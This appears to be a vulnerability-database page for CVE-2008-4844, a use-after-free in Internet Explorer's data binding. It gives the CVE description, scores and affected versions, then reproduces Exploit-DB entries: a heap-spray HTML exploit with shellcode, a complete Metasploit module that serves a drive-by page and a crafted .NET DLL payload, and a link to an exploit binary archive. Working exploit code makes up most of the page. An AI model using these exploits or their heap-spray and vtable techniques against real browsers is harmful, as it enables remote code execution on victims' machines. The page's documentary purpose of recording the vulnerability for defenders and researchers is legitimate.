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CVE Descriptions
Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 7410
Publication date : 2008-12-09 23h00 +00:00
Author : muts
EDB Verified : Yes
<html>
<script>
// k`sOSe 12/10/2008
// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
// Heap spray address adjusted for Vista - muts / offensive-security.com
// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
// http://www.offensive-security.com/0day/iesploit-vista.rar
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0c0c%u0c0c");
var nops = unescape("%u9090%u9090%u9090");
while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);
document.write("<iframe src=\"iframe.html\">");
</script>
</html>
<!-- iframe.html
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=http://ఌఌ.xxxxx.org
>
]]>
</C>
</X>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>
</SPAN>
-->
# milw0rm.com [2008-12-10]
Exploit Database EDB-ID : 16583
Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#
# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
#
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "7.0",
# :ua_maxver => "7.0",
# :javascript => true,
# :os_name => OperatingSystems::WINDOWS,
# :vuln_test => nil, # no way to test without just trying it
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Data Binding Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the data binding feature of Internet
Explorer. In order to execute code reliably, this module uses the .NET DLL
memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
used to create a fake vtable at a known location with all methods pointing
to our payload. Since the .text segment of the .NET DLL is non-writable, a
prefixed code stub is used to copy the payload into a new memory segment and
continue execution from there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm'
],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2008-4844'],
['OSVDB', '50622'],
['BID', '32721'],
['MSB', 'MS08-078'],
['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
# Temporary stub virtualalloc() + memcpy() payload to RWX page
'PrependEncoder' =>
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Dec 07 2008',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
@state ||= {}
ibase = 0x13370000
vaddr = ibase + 0x2065
uri,token = request.uri.split('?', 2)
if(token)
token,trash = token.split('=')
end
if !(token and @state[token])
print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
token = rand_text_numeric(32)
if ("/" == get_resource[-1,1])
dll_uri = get_resource[0, get_resource.length - 1]
else
dll_uri = get_resource
end
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
html = %Q|<html>
<head>
<script language="javascript">
function forward() {
window.location = window.location + '?#{token}';
}
function start() {
setTimeout("forward()", 2000);
}
</script>
</head>
<body onload="start()">
<object classid="#{dll_uri}?#{token}#GenericControl">
<object>
</body>
</html>
|
@state[token] = :start
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
return
end
if (uri.match(/\.dll/i))
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
return if ((p = regenerate_payload(cli)) == nil)
# First entry points to the table of pointers
vtable = [ vaddr + 4 ].pack("V")
cbase = ibase + 0x2065 + (256 * 4)
# Build a function table
255.times { vtable << [cbase].pack("V") }
# Append the shellcode
vtable << p.encoded
send_response(
cli,
Msf::Util::EXE.to_dotnetmem(ibase, vtable),
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
@state[token] = :dll
return
end
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")
html = ""
#
# .NET DLL MODE
#
if(@state[token] == :dll)
addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>
#{data}
<script>
setTimeout('window.location.reload(true);', 250);
</script>
|, '%')
var_unescape = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
html = %Q|<html>
<head>
<script>
function #{var_start}() {
var #{var_unescape} = unescape;
document.write(#{var_unescape}('#{bxml}'));
}
</script>
</head>
<body onload="#{var_start}()">
</body>
</html>
|
#
# HEAP SPRAY MODE
#
else
print_status("Heap spray mode")
addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
>
]]>
</C>
</X>
</XML>
#{data}
<script>
setTimeout('window.location.reload(true);', 1000);
</script>
|, '%')
var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_body = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)
html = %Q|<html>
<head>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}() {
document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');
}
function #{var_start}() {
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
setTimeout('#{var_boom}()', 1000);
}
</script>
</head>
<body onload="#{var_start}()" id="#{var_body}">
#{rand_html}
</body>
</html>
|
end
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
Exploit Database EDB-ID : 7403
Publication date : 2008-12-09 23h00 +00:00
Author : Guido Landi
EDB Verified : Yes
// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz)
# milw0rm.com [2008-12-10]
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 5.01
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7
- Microsoft>>Internet_explorer >> Version 7 (Open CPE detail)
References
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6007
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://www.breakingpointsystems.com/community/blog/patch-tuesdays-and-drive-by-sundays
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://www.avertlabs.com/research/blog/index.php/2008/12/09/yet-another-unpatched-drive-by-exploit-found-on-the-web/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-078
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
